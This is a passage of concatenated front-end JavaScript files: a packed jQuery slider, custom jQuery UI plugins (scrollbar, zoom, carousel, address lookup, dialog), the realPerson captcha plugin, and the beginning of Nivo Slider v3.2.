y(e[\'1B\']==\'3a\'){h=5.3b(h)}1d(I=1;I<=5.v.1i;I++){1k=I;1d(O=1;O<=5.v.1h;O++){13=5.v.1u*1k;A n=(O-1f((5.v.1h+1)/2))*5.v.1D;A o=(I-1f((5.v.1i+1)/2))*5.v.1D;5.K.17(\'.\'+5.v.w+\'-1e-\'+O+\'\'+I).Z({\'G\':\'+=\'+n,\'V\':\'+=\'+o},5.v.14);1k++}}A q=13;A r=0;1d(I=1;I<=5.v.1i;I++){1k=I;1d(O=1;O<=5.v.1h;O++){13=5.v.1u*1k;5.K.17(\'.\'+5.v.w+\'-1e-\'+h[r]).Z({\'Q\':0},13);5.K.17(\'.\'+5.v.w+\'-1e-26-\'+h[r]).Z({\'D\':f},5.v.14).Z({\'Q\':1},13).Z({\'D\':f},q-13);r++;1k++}}1d(I=1;I<=5.v.1i;I++){1k=I;1d(O=1;O<=5.v.1h;O++){13=5.v.1u*1k;A n=(O-1f((5.v.1h+1)/2))*5.v.1D;A o=(I-1f((5.v.1i+1)/2))*5.v.1D;5.K.17(\'.\'+5.v.w+\'-1e-26-\'+O+\'\'+I).Z({\'G\':\'-=\'+n,\'V\':\'-=\'+o},5.v.14);1k++}}2A($.19(B(){c.E({"Q":1}).U(5.v.w+\'-P-L\');a.E({"Q":0}).X(5.v.w+\'-P-L\');5.K.17("."+5.v.w+\'-1e\').2k();5.K.17("."+5.v.w+\'-1e-26\').2k();5.N.1a=Y;5.K.1o("1J",c)},5),(q+(5.v.14*2)))},4n:B(a,b,c,d){M 5.3c(a,b,c,d,{\'1B\':\'1v\'})},2C:B(a,b,c,d,e){e=$.1p(R,{\'F\':\'G\'},e);5.N.1a=R;c.E({"Q":1});b.X(5.v.w+\'-J-L\');d.U(5.v.w+\'-J-L\');c.U(5.v.w+\'-P-1n\');y(e.F=="G"){c.E({"G":1Q,"Q":0});a.1y().Z({"G":-5.v.D},5.v.14)}W y(e.F=="1t"){c.E({"G":-1Q,"Q":0});a.1y().Z({"G":5.v.D},5.v.14)}W y(e.F=="V"){c.E({"V":-5.v.H})}W y(e.F=="25"){c.E({"V":5.v.H})}c.1y().Z({"G":0,"V":0,"Q":1},5.v.14,5.v.29,$.19(B(){a.X(5.v.w+\'-P-L\');a.E({"G":0});c.U(5.v.w+\'-P-L\');c.X(5.v.w+\'-P-1n\');a.E({"Q":0});5.N.1a=Y;5.K.1o("1J",c)},5))},4o:B(a,b,c,d){M 5.2C(a,b,c,d,{"F":"G"})},4p:B(a,b,c,d){M 5.2C(a,b,c,d,{"F":"1t"})},27:B(a,b,c,d,e){e=$.1p(R,{\'F\':\'G\'},e);5.N.1a=R;c.E({"Q":1});b.X(5.v.w+\'-J-L\');d.U(5.v.w+\'-J-L\');c.U(5.v.w+\'-P-1n\');y(e.F=="G"){c.E({"G":5.v.D});a.Z({"G":-5.v.D},5.v.14)}W y(e.F=="1t"){c.E({"G":-5.v.D});a.Z({"G":5.v.D},5.v.14)}W y(e.F=="V"){c.E({"V":5.v.H});a.Z({"V":-5.v.H},5.v.14)}W y(e.F=="25"){c.E({"V":-5.v.H});a.Z({"V":5.v.H},5.v.14)}c.1y().Z({"G":0,"V":0},5.v.14,$.19(B(){a.X(5.v.w+\'-P-L\');a.E({"G":0});c.U(5.v.w+\'-P-L\');c.X(5.v.w+\'-P-1n\');a.E({"Q":0});5.N.1a=Y;5.K.1o("1J",c)},5))},4q:B(a,b,c,d){M 5.27(a,b,c,d,{"F":"V"})},4r:B(a,b,c,d){M 5.27(a,b,c,d,{"F":"25"})},4s:B(a,b,c,d){M 5.27(a,b,c,d,{"F":"G"})},4t:B(a,b,c,d){M 5.27(a,b,c,d,{"F":"1t"})}});$.3d.2q=B(a,b){y(4u($.3d.2H)>1.2){A d={};5.1G(B(){A s=$(5);d=s.3e("2n");y(!d){d=37 2m(5,a,b);s.3e("2n",d)}});M d}W{4v"4w 1Z 28 4x 4y 4z 2K 4A 4B. 4C 4D 4E 1Z 1.3+";}}})(1Z);',62,289,'|||||this||||||||||||||||||||||||||options|name||if||var|function|esqueleto|width|css|direction|left|height|iRow|selector|element|current|return|events|iCol|slide|opacity|true|timer|clock|addClass|top|else|removeClass|false|animate||control|div|delay|duration|px||children|bar|proxy|playing|class|position|for|block|parseInt|rotator|columns|rows|append|colRow|navigation|span|next|trigger|extend|transition|hovered|mask|right|speed|random|degrees|transform|stop|nxtTrans|absolute|effect|bars|padding|resto|selectores|each|startTimer|Math|sliderTransitionFinishes|rain|stopped|length|rel|stopTimer|callSlide|100|style|move|browser|wrapper|paused|overflow|hidden|command|jQuery|transbar|round|bar_array|mode|transslide|bottom|clon|transslip|version|easing|fountain|href|insertAfter|pause|attr|shuffle|toUpperCase|index|background|html|remove|msie|SliderObject|slider|pauseOnClick|pauseOnHover|slideshow|transitions|delete|rgbToHex|FFFFFF|prev|click|preventDefault|play|toString|setTimeout|acumulative|transswipe|undefined|easeOutCubic|create|defaults|jquery|loop|img|is|outerWidth|color|addEvents|pauseTimer|hasClass|000000|setInterval|rotate|deg|webkit|moz|get|msTransform|180|clearInterval|first|filter|last|split|trans|lastTransition|toLowerCase|new|transsquare|push|swirl|arrayswirl|transexplode|fn|data|try|document|execCommand|BackgroundImageCache|catch|err|apply|arguments|prototype|4500|400|80|onComplete|onSlideshowEnd|fade|square|squarerandom|dom|titles|links|imgInc|imgInterval|inc|order|slides|clicked|outerHeight|option|wrap|parent|relative|add|selectors|hide|margin|Prev|Next|Play|Pause|hover|linear|360|sliderPlay|sliderPause|sliderStop|match|9A|Fa|rgb|exec|sliderChange|typeof|object|merge|while|transfade|Array|abs|0px|transbarleft|transbarright|dual|lineal|transsquarerandom|transslideleft|transslideright|transslidetop|transslidebottom|transfountain|transrain|transexploderandom|transswipeleft|transswiperight|transsliptop|transslipbottom|transslipleft|transslipright|parseFloat|throw|The|that|was|loaded|too|old|Slider|Evolution|requires'.split('|'),0,{}));
//jquery easing
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
easeOutSine: function (x, t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
});
|
JavaScript
|
(function ($) {
jQuery.fn.scrollbar = function () {
this
.filter(function () {
var $this = $(this);
// console.log('innerHeight: ' + $this.innerHeight());
// console.log('height: ' + parseInt($this.css('height')));
// console.log('max-height: ' + parseInt($this.css('max-height')));
// console.log('clientHeight: ' + $this[0].clientHeight);
// console.log('scrollHeight: ' + $this[0].scrollHeight);
return ($this.innerHeight() == parseInt($this.css('height'))) && ($this[0].clientHeight < $this[0].scrollHeight);
})
.each(function () {
var scrolling = false;
$(this)
//.css('overflow-y', 'hidden')
.scroll(function () {
if (!scrolling) {
var $this = $(this);
var $handle = $this.prev().find('.handle');
var $container = $handle.parent();
var p = $this.scrollTop() / ($this[0].scrollHeight - $this.outerHeight());
$handle.css('top', Math.min($container.height() * p, $container.height() - $handle.outerHeight(true)));
}
})
.wrap('<div class="scroll-container"/>')
.parent()
.prepend('<div class="handle-container"><span class="handle"></span></div>')
.find('.handle-container').click(function (e) {
var $handle = $('.handle', this);
var $container = $(this);
var $scroll = $container.next();
var layerY = e.pageY - $container.offset().top;
var p = layerY / ($container.height() - $handle.outerHeight(true));
$scroll.scrollTop(($scroll[0].scrollHeight - $scroll.outerHeight()) * p);
})
.find('.handle').draggable({
containment: 'parent',
axis: 'y',
start: function () {
scrolling = true;
},
stop: function () {
scrolling = false;
},
drag: function (event, ui) {
var $handle = ui.helper;
var $container = $handle.parent();
var $scroll = $container.next();
var p = ui.position.top / ($container.height() - $handle.outerHeight(true));
$scroll.scrollTop(($scroll[0].scrollHeight - $scroll.outerHeight()) * p);
}
})
});
return this;
};
})(jQuery);
(function ($) {
jQuery.fn.zoom = function () {
function setLens(e, $lens, $container) {
var offset = $container.offset();
var containerWidth = $container.width();
var containerHeight = $container.height();
var lensHalfWidth = $lens.outerWidth(true) / 2;
var lensHalfHeight = $lens.outerHeight(true) / 2;
var x = Math.max(0, Math.min(e.pageX - offset.left, containerWidth - lensHalfWidth) - lensHalfWidth);
var y = Math.max(0, Math.min(e.pageY - offset.top, containerHeight - lensHalfHeight) - lensHalfHeight);
$lens.css({ left: x, top: y });
var $zoomer = $lens.next();
var $zoomImg = $zoomer.children('img');
var zoomRatio = $lens.data('zoom-ratio');
$zoomImg.css({ 'left': -(x * 1 / zoomRatio[0]), 'top': -(y * 1 / zoomRatio[1]) });
}
$(this).parent().eq(0).delegate('.zoom.zoom-on.zoom-ready', 'mousemove', function (e) {
var $container = $(this);
var $lens = $container.children('.lens');
setLens(e, $lens, $container);
});
this
.each(function () {
$(this)
.append('<div class="lens"/>')
.append('<div class="zoomer"/>')
.mouseleave(function (e) {
$(this).removeClass('zoom-on');
})
.click(function (e) {
e.preventDefault();
var $container = $(this);
$container.toggleClass('zoom-on');
var $lens = $container.children('.lens');
var $zoomer = $container.children('.zoomer');
if ($container.hasClass('zoom-on')) {
if (!$zoomer.children('img').length) {
$('<img/>')
.load(function () {
$lens.parent().addClass('zoom-ready');
var zoomRatio = [$zoomer.width() / $(this).width(), $zoomer.height() / $(this).height()];
$lens.data('zoom-ratio', zoomRatio).css({ width: $container.width() * zoomRatio[0], height: $container.height() * zoomRatio[1] });
setLens(e, $lens, $container);
})
.attr('src', $container.attr('href'))
.appendTo($zoomer);
} else {
setLens(e, $lens, $container);
}
}
return false;
})
});
return this;
};
})(jQuery);
(function ($) {
jQuery.fn.carousel = function () {
return this.each(function () {
var $this = $(this);
var $items = $this.find('.items > div');
var $pageInfo = $this.children('.page-info');
var index = 0;
var length = $items.length;
function setIndex(i) {
index = i;
$items.hide().eq(index).show();
$pageInfo.text((index + 1) + '/' + length);
}
$this
.delegate('.prev', 'click', function (e) {
e.preventDefault();
setIndex(index == 0 ? (length - 1) : (index - 1));
return false;
})
.delegate('.next', 'click', function (e) {
e.preventDefault();
setIndex(index == (length - 1) ? 0 : (index + 1));
return false;
});
});
}
})(jQuery);
(function ($) {
jQuery.fn.styleCurrentLinks = function () {
return this.each(function () {
$('a[href=\'' + window.location.pathname + window.location.search + '\']', this).addClass('current');
});
}
})(jQuery);
(function ($) {
jQuery.fn.productImage = function () {
return this.each(function () {
$(this).bind('error', function (e) {
// update image src
var $this = $(this);
var src = $this.attr('src');
var index1 = src.lastIndexOf('/') + 1;
var index2 = src.lastIndexOf('_');
$this.attr('src', src.substr(0, index1) + 'Error' + src.substr(index2));
});
});
}
})(jQuery);
(function ($) {
jQuery.fn.panels = function (accordion, scrollbar) {
return this.each(function () {
if (scrollbar) {
$(this).find(scrollbar === true ? '.scroll' : scrollbar).scrollbar();
}
$(this)
.delegate('div > h4', 'click', function (e) {
var $this = $(this);
var $parent = $this.parent();
var $panel = $this.next();
if (accordion) {
$parent.siblings(':not(.closed)').addClass('closed').children('.panel').slideUp();
}
$panel.slideToggle();
$parent.toggleClass('closed');
})
.children('div[data-closed=true]').addClass('closed');
});
}
})(jQuery);
(function ($) {
jQuery.fn.addressEditor = function () {
function showHide($countries, $lookup) {
if ($countries.val() == 'GBR') {
$lookup.show();
} else {
$lookup.hide();
}
}
return this.each(function () {
var $this = $(this);
var $countries = $this.find('.address-country select');
var $lookup = $this.find('.address-lookup');
var $addressList = $this.find('.address-list');
showHide($countries, $lookup);
$countries.change(function (e) {
showHide($(this), $lookup);
});
$lookup.find('.address-searchbutton').click(function(e) {
qtvpca.findAddress(
$(this).attr('id'),
$this.find('.building-searchbox input').attr('id'),
$this.find('.postcode-searchbox').attr('id'),
$addressList.attr('id'),
$this.find('.address-line1 input').attr('id'),
$this.find('.address-line2 input').attr('id'),
$this.find('.address-line3 input').attr('id'),
$this.find('.address-town input').attr('id'),
$this.find('.address-county input').attr('id'),
$this.find('.address-postcode input').attr('id'),
$countries.attr('id'));
});
$addressList.change(function(e) {
qtvpca.getSingleAddress(
$(this).attr('id'),
$this.find('.building-searchbox input').attr('id'),
$this.find('.postcode-searchbox').attr('id'),
$addressList.attr('id'),
$this.find('.address-line1 input').attr('id'),
$this.find('.address-line2 input').attr('id'),
$this.find('.address-line3 input').attr('id'),
$this.find('.address-town input').attr('id'),
$this.find('.address-county input').attr('id'),
$this.find('.address-postcode input').attr('id'),
$countries.attr('id'));
});
});
}
})(jQuery);
(function ($) {
jQuery.fn.horizScroll = function (config) {
config = config || { leftSelector: '.browse-left', containerSelector: '.container', rightSelector: '.browse-right' };
return this
.filter(function () {
var $ctnr = $(this).find(config.containerSelector);
return $ctnr[0].clientWidth < $ctnr[0].scrollWidth;
})
.each(function () {
var $this = $(this);
$ctnr = $this.find(config.containerSelector);
$this
.delegate(config.leftSelector, 'click', function (e) {
e.preventDefault();
$ctnr.scrollLeft(Math.max(0, $ctnr.scrollLeft() - $ctnr.innerWidth()));
return false;
})
.delegate(config.rightSelector, 'click', function (e) {
e.preventDefault();
$ctnr.scrollLeft(Math.min($ctnr[0].scrollWidth - $ctnr.innerWidth(), $ctnr.scrollLeft() + $ctnr.innerWidth()));
return false;
})
.find(config.leftSelector + ',' + config.rightSelector).css('visibility', 'visible');
});
}
})(jQuery);
(function ($) {
jQuery.fn.modalDialog = function (config) {
config = config || {};
return this.each(function () {
var $this = $(this);
if ($this.data('dialog')) {
$this.dialog('open');
} else {
$this.dialog({ position: ['center', 100], hide: 'fade', closeText: 'Close', modal: true, draggable: config.draggable || false, resizable: config.resizable || false, width: config.width || 700, height: config.height || 'auto', dialogClass: config.dialogClass || '' });
var $title = $this.closest('.ui-dialog').find('.ui-dialog-titlebar')
if (config.hideCloseButton) {
$title.hide();
} else {
$title.html('<div class="close"><a href="#">Close</a></div>');
}
}
});
}
})(jQuery);
|
JavaScript
|
/* http://keith-wood.name/realPerson.html
Real Person Form Submission for jQuery v1.1.1.
Written by Keith Wood (kwood{at}iinet.com.au) June 2009.
Available under the MIT (https://github.com/jquery/jquery/blob/master/MIT-LICENSE.txt) license.
Please attribute the author if you use it. */
(function($) { // Hide scope, no $ conflict
/* Real person manager. */
function RealPerson() {
this._defaults = {
length: 6, // Number of characters to use
includeNumbers: false, // True to use numbers as well as letters
regenerate: 'Click to change', // Instruction text to regenerate
hashName: '{n}Hash' // Name of the hash value field to compare with,
// use {n} to substitute with the original field name
};
}
var CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
var DOTS = [
[' * ', ' * * ', ' * * ', ' * * ', ' ***** ', '* *', '* *'],
['****** ', '* *', '* *', '****** ', '* *', '* *', '****** '],
[' ***** ', '* *', '* ', '* ', '* ', '* *', ' ***** '],
['****** ', '* *', '* *', '* *', '* *', '* *', '****** '],
['*******', '* ', '* ', '**** ', '* ', '* ', '*******'],
['*******', '* ', '* ', '**** ', '* ', '* ', '* '],
[' ***** ', '* *', '* ', '* ', '* ***', '* *', ' ***** '],
['* *', '* *', '* *', '*******', '* *', '* *', '* *'],
['*******', ' * ', ' * ', ' * ', ' * ', ' * ', '*******'],
[' *', ' *', ' *', ' *', ' *', '* *', ' ***** '],
['* *', '* ** ', '* ** ', '** ', '* ** ', '* ** ', '* *'],
['* ', '* ', '* ', '* ', '* ', '* ', '*******'],
['* *', '** **', '* * * *', '* * *', '* *', '* *', '* *'],
['* *', '** *', '* * *', '* * *', '* * *', '* **', '* *'],
[' ***** ', '* *', '* *', '* *', '* *', '* *', ' ***** '],
['****** ', '* *', '* *', '****** ', '* ', '* ', '* '],
[' ***** ', '* *', '* *', '* *', '* * *', '* * ', ' **** *'],
['****** ', '* *', '* *', '****** ', '* * ', '* * ', '* *'],
[' ***** ', '* *', '* ', ' ***** ', ' *', '* *', ' ***** '],
['*******', ' * ', ' * ', ' * ', ' * ', ' * ', ' * '],
['* *', '* *', '* *', '* *', '* *', '* *', ' ***** '],
['* *', '* *', ' * * ', ' * * ', ' * * ', ' * * ', ' * '],
['* *', '* *', '* *', '* * *', '* * * *', '** **', '* *'],
['* *', ' * * ', ' * * ', ' * ', ' * * ', ' * * ', '* *'],
['* *', ' * * ', ' * * ', ' * ', ' * ', ' * ', ' * '],
['*******', ' * ', ' * ', ' * ', ' * ', ' * ', '*******'],
[' *** ', ' * * ', '* * *', '* * *', '* * *', ' * * ', ' *** '],
[' * ', ' ** ', ' * * ', ' * ', ' * ', ' * ', '*******'],
[' ***** ', '* *', ' *', ' * ', ' ** ', ' ** ', '*******'],
[' ***** ', '* *', ' *', ' ** ', ' *', '* *', ' ***** '],
[' * ', ' ** ', ' * * ', ' * * ', '*******', ' * ', ' * '],
['*******', '* ', '****** ', ' *', ' *', '* *', ' ***** '],
[' **** ', ' * ', '* ', '****** ', '* *', '* *', ' ***** '],
['*******', ' * ', ' * ', ' * ', ' * ', ' * ', '* '],
[' ***** ', '* *', '* *', ' ***** ', '* *', '* *', ' ***** '],
[' ***** ', '* *', '* *', ' ******', ' *', ' * ', ' **** ']];
$.extend(RealPerson.prototype, {
/* Class name added to elements to indicate already configured with real person. */
markerClassName: 'hasRealPerson',
/* Name of the data property for instance settings. */
propertyName: 'realperson',
/* Override the default settings for all real person instances.
@param options (object) the new settings to use as defaults
@return (RealPerson) this object */
setDefaults: function(options) {
$.extend(this._defaults, options || {});
return this;
},
/* Attach the real person functionality to an input field.
@param target (element) the control to affect
@param options (object) the custom options for this instance */
_attachPlugin: function(target, options) {
target = $(target);
if (target.hasClass(this.markerClassName)) {
return;
}
var inst = {options: $.extend({}, this._defaults)};
target.addClass(this.markerClassName).data(this.propertyName, inst);
this._optionPlugin(target, options);
},
/* Retrieve or reconfigure the settings for a control.
@param target (element) the control to affect
@param options (object) the new options for this instance or
(string) an individual property name
@param value (any) the individual property value (omit if options
is an object or to retrieve the value of a setting)
@return (any) if retrieving a value */
_optionPlugin: function(target, options, value) {
target = $(target);
var inst = target.data(this.propertyName);
if (!options || (typeof options == 'string' && value == null)) { // Get option
var name = options;
options = (inst || {}).options;
return (options && name ? options[name] : options);
}
if (!target.hasClass(this.markerClassName)) {
return;
}
options = options || {};
if (typeof options == 'string') {
var name = options;
options = {};
options[name] = value;
}
$.extend(inst.options, options);
target.prevAll('.' + this.propertyName + '-challenge,.' + this.propertyName + '-hash').
remove().end().before(this._generateHTML(target, inst));
},
/* Generate the additional content for this control.
@param target (jQuery) the input field
@param inst (object) the current instance settings
@return (string) the additional content */
_generateHTML: function(target, inst) {
var text = '';
for (var i = 0; i < inst.options.length; i++) {
text += CHARS.charAt(Math.floor(Math.random() *
(inst.options.includeNumbers ? 36 : 26)));
}
var html = '<div class="' + this.propertyName + '-challenge">' +
'<div class="' + this.propertyName + '-text">';
for (var i = 0; i < DOTS[0].length; i++) {
for (var j = 0; j < text.length; j++) {
html += DOTS[CHARS.indexOf(text.charAt(j))][i].replace(/ /g, ' ') +
' ';
}
html += '<br>';
}
html += '</div><div class="' + this.propertyName + '-regen">' + inst.options.regenerate +
'</div></div><input type="hidden" class="' + this.propertyName + '-hash" name="' +
inst.options.hashName.replace(/\{n\}/, target.attr('name')) +
'" value="' + this._hash(text) + '">';
return html;
},
/* Enable the plugin functionality for a control.
@param target (element) the control to affect */
_enablePlugin: function(target) {
target = $(target);
if (!target.hasClass(this.markerClassName)) {
return;
}
target.removeClass(this.propertyName + '-disabled').prop('disabled', false).
prevAll('.' + this.propertyName + '-challenge').removeClass(this.propertyName + '-disabled');
},
/* Disable the plugin functionality for a control.
@param target (element) the control to affect */
_disablePlugin: function(target) {
target = $(target);
if (!target.hasClass(this.markerClassName)) {
return;
}
target.addClass(this.propertyName + '-disabled').prop('disabled', true).
prevAll('.' + this.propertyName + '-challenge').addClass(this.propertyName + '-disabled');
},
/* Remove the plugin functionality from a control.
@param target (element) the control to affect */
_destroyPlugin: function(target) {
target = $(target);
if (!target.hasClass(this.markerClassName)) {
return;
}
target.removeClass(this.markerClassName).
removeData(this.propertyName).
prevAll('.' + this.propertyName + '-challenge,.' + this.propertyName + '-hash').remove();
},
/* Compute a hash value for the given text.
@param value (string) the text to hash
@return the corresponding hash value */
_hash: function(value) {
var hash = 5381;
for (var i = 0; i < value.length; i++) {
hash = ((hash << 5) + hash) + value.charCodeAt(i);
}
return hash;
}
});
// The list of commands that return values and don't permit chaining
var getters = [''];
/* Determine whether a command is a getter and doesn't permit chaining.
@param command (string, optional) the command to run
@param otherArgs ([], optional) any other arguments for the command
@return true if the command is a getter, false if not */
function isNotChained(command, otherArgs) {
if (command == 'option' && (otherArgs.length == 0 ||
(otherArgs.length == 1 && typeof otherArgs[0] == 'string'))) {
return true;
}
return $.inArray(command, getters) > -1;
}
/* Attach the real person functionality to a jQuery selection.
@param options (object) the new settings to use for these instances (optional) or
(string) the command to run (optional)
@return (jQuery) for chaining further calls or
(any) getter value */
$.fn.realperson = function(options) {
var otherArgs = Array.prototype.slice.call(arguments, 1);
if (isNotChained(options, otherArgs)) {
return plugin['_' + options + 'Plugin'].apply(plugin, [this[0]].concat(otherArgs));
}
return this.each(function() {
if (typeof options == 'string') {
if (!plugin['_' + options + 'Plugin']) {
throw 'Unknown command: ' + options;
}
plugin['_' + options + 'Plugin'].apply(plugin, [this].concat(otherArgs));
}
else {
plugin._attachPlugin(this, options || {});
}
});
};
/* Initialise the real person functionality. */
var plugin = $.realperson = new RealPerson(); // Singleton instance
$(document).on('click', 'div.' + plugin.propertyName + '-challenge', function() {
if (!$(this).hasClass(plugin.propertyName + '-disabled')) {
$(this).nextAll('.' + plugin.markerClassName).realperson('option', {});
}
});
})(jQuery);
|
JavaScript
|
/*
* jQuery Nivo Slider v3.2
* http://nivo.dev7studios.com
*
* Copyright 2012, Dev7studios
* Free to use and abuse under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*/
(function($) {
var NivoSlider = function(element, options){
// Defaults are below
var settings = $.extend({}, $.fn.nivoSlider.defaults, options);
// Useful variables. Play carefully.
var vars = {
currentSlide: 0,
currentImage: '',
totalSlides: 0,
running: false,
paused: false,
stop: false,
controlNavEl: false
};
// Get this slider
var slider = $(element);
slider.data('nivo:vars', vars).addClass('nivoSlider');
// Find our slider children
var kids = slider.children();
kids.each(function() {
var child = $(this);
var link = '';
if(!child.is('img')){
if(child.is('a')){
child.addClass('nivo-imageLink');
link = child;
}
child = child.find('img:first');
}
// Get img width & height
var childWidth = (childWidth === 0) ? child.attr('width') : child.width(),
childHeight = (childHeight === 0) ? child.attr('height') : child.height();
if(link !== ''){
link.css('display','none');
}
child.css('display','none');
vars.totalSlides++;
});
// If randomStart
if(settings.randomStart){
settings.startSlide = Math.floor(Math.random() * vars.totalSlides);
}
// Set startSlide
if(settings.startSlide > 0){
if(settings.startSlide >= vars.totalSlides) { settings.startSlide = vars.totalSlides - 1; }
vars.currentSlide = settings.startSlide;
}
// Get initial image
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
// Show initial link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
// Set first background
var sliderImg = $('<img/>').addClass('nivo-main-image');
sliderImg.attr('src', vars.currentImage.attr('src')).show();
slider.append(sliderImg);
// Detect Window Resize
$(window).resize(function() {
slider.children('img').width(slider.width());
sliderImg.attr('src', vars.currentImage.attr('src'));
sliderImg.stop().height('auto');
$('.nivo-slice').remove();
$('.nivo-box').remove();
});
//Create caption
slider.append($('<div class="nivo-caption"></div>'));
// Process caption function
var processCaption = function(settings){
var nivoCaption = $('.nivo-caption', slider);
if(vars.currentImage.attr('title') != '' && vars.currentImage.attr('title') != undefined){
var title = vars.currentImage.attr('title');
if(title.substr(0,1) == '#') title = $(title).html();
if(nivoCaption.css('display') == 'block'){
setTimeout(function(){
nivoCaption.html(title);
}, settings.animSpeed);
} else {
nivoCaption.html(title);
nivoCaption.stop().fadeIn(settings.animSpeed);
}
} else {
nivoCaption.stop().fadeOut(settings.animSpeed);
}
}
//Process initial caption
processCaption(settings);
// In the words of Super Mario "let's a go!"
var timer = 0;
if(!settings.manualAdvance && kids.length > 1){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
// Add Direction nav
if(settings.directionNav){
slider.append('<div class="nivo-directionNav"><a class="nivo-prevNav">'+ settings.prevText +'</a><a class="nivo-nextNav">'+ settings.nextText +'</a></div>');
$(slider).on('click', 'a.nivo-prevNav', function(){
if(vars.running) { return false; }
clearInterval(timer);
timer = '';
vars.currentSlide -= 2;
nivoRun(slider, kids, settings, 'prev');
});
$(slider).on('click', 'a.nivo-nextNav', function(){
if(vars.running) { return false; }
clearInterval(timer);
timer = '';
nivoRun(slider, kids, settings, 'next');
});
}
// Add Control nav
if(settings.controlNav){
vars.controlNavEl = $('<div class="nivo-controlNav"></div>');
slider.after(vars.controlNavEl);
for(var i = 0; i < kids.length; i++){
if(settings.controlNavThumbs){
vars.controlNavEl.addClass('nivo-thumbs-enabled');
var child = kids.eq(i);
if(!child.is('img')){
child = child.find('img:first');
}
if(child.attr('data-thumb')) vars.controlNavEl.append('<a class="nivo-control" rel="'+ i +'"><img src="'+ child.attr('data-thumb') +'" alt="" /></a>');
} else {
vars.controlNavEl.append('<a class="nivo-control" rel="'+ i +'">'+ (i + 1) +'</a>');
}
}
//Set initial active link
$('a:eq('+ vars.currentSlide +')', vars.controlNavEl).addClass('active');
$('a', vars.controlNavEl).bind('click', function(){
if(vars.running) return false;
if($(this).hasClass('active')) return false;
clearInterval(timer);
timer = '';
sliderImg.attr('src', vars.currentImage.attr('src'));
vars.currentSlide = $(this).attr('rel') - 1;
nivoRun(slider, kids, settings, 'control');
});
}
//For pauseOnHover setting
if(settings.pauseOnHover){
slider.hover(function(){
vars.paused = true;
clearInterval(timer);
timer = '';
}, function(){
vars.paused = false;
// Restart the timer
if(timer === '' && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
});
}
// Event when Animation finishes
slider.bind('nivo:animFinished', function(){
sliderImg.attr('src', vars.currentImage.attr('src'));
vars.running = false;
// Hide child links
$(kids).each(function(){
if($(this).is('a')){
$(this).css('display','none');
}
});
// Show current link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
// Restart the timer
if(timer === '' && !vars.paused && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
// Trigger the afterChange callback
settings.afterChange.call(this);
});
// Add slices for slice animations
var createSlices = function(slider, settings, vars) {
if($(vars.currentImage).parent().is('a')) $(vars.currentImage).parent().css('display','block');
$('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').width(slider.width()).css('visibility', 'hidden').show();
var sliceHeight = ($('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').parent().is('a')) ? $('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').parent().height() : $('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').height();
for(var i = 0; i < settings.slices; i++){
var sliceWidth = Math.round(slider.width()/settings.slices);
if(i === settings.slices-1){
slider.append(
$('<div class="nivo-slice" name="'+i+'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block !important; top:0; left:-'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px;" /></div>').css({
left:(sliceWidth*i)+'px',
width:(slider.width()-(sliceWidth*i))+'px',
height:sliceHeight+'px',
opacity:'0',
overflow:'hidden'
})
);
} else {
slider.append(
$('<div class="nivo-slice" name="'+i+'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block !important; top:0; left:-'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px;" /></div>').css({
left:(sliceWidth*i)+'px',
width:sliceWidth+'px',
height:sliceHeight+'px',
opacity:'0',
overflow:'hidden'
})
);
}
}
$('.nivo-slice', slider).height(sliceHeight);
sliderImg.stop().animate({
height: $(vars.currentImage).height()
}, settings.animSpeed);
};
// Add boxes for box animations
var createBoxes = function(slider, settings, vars){
if($(vars.currentImage).parent().is('a')) $(vars.currentImage).parent().css('display','block');
$('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').width(slider.width()).css('visibility', 'hidden').show();
var boxWidth = Math.round(slider.width()/settings.boxCols),
boxHeight = Math.round($('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').height() / settings.boxRows);
for(var rows = 0; rows < settings.boxRows; rows++){
for(var cols = 0; cols < settings.boxCols; cols++){
if(cols === settings.boxCols-1){
slider.append(
$('<div class="nivo-box" name="'+ cols +'" rel="'+ rows +'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block; top:-'+ (boxHeight*rows) +'px; left:-'+ (boxWidth*cols) +'px;" /></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:(slider.width()-(boxWidth*cols))+'px'
})
);
$('.nivo-box[name="'+ cols +'"]', slider).height($('.nivo-box[name="'+ cols +'"] img', slider).height()+'px');
} else {
slider.append(
$('<div class="nivo-box" name="'+ cols +'" rel="'+ rows +'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block; top:-'+ (boxHeight*rows) +'px; left:-'+ (boxWidth*cols) +'px;" /></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:boxWidth+'px'
})
);
$('.nivo-box[name="'+ cols +'"]', slider).height($('.nivo-box[name="'+ cols +'"] img', slider).height()+'px');
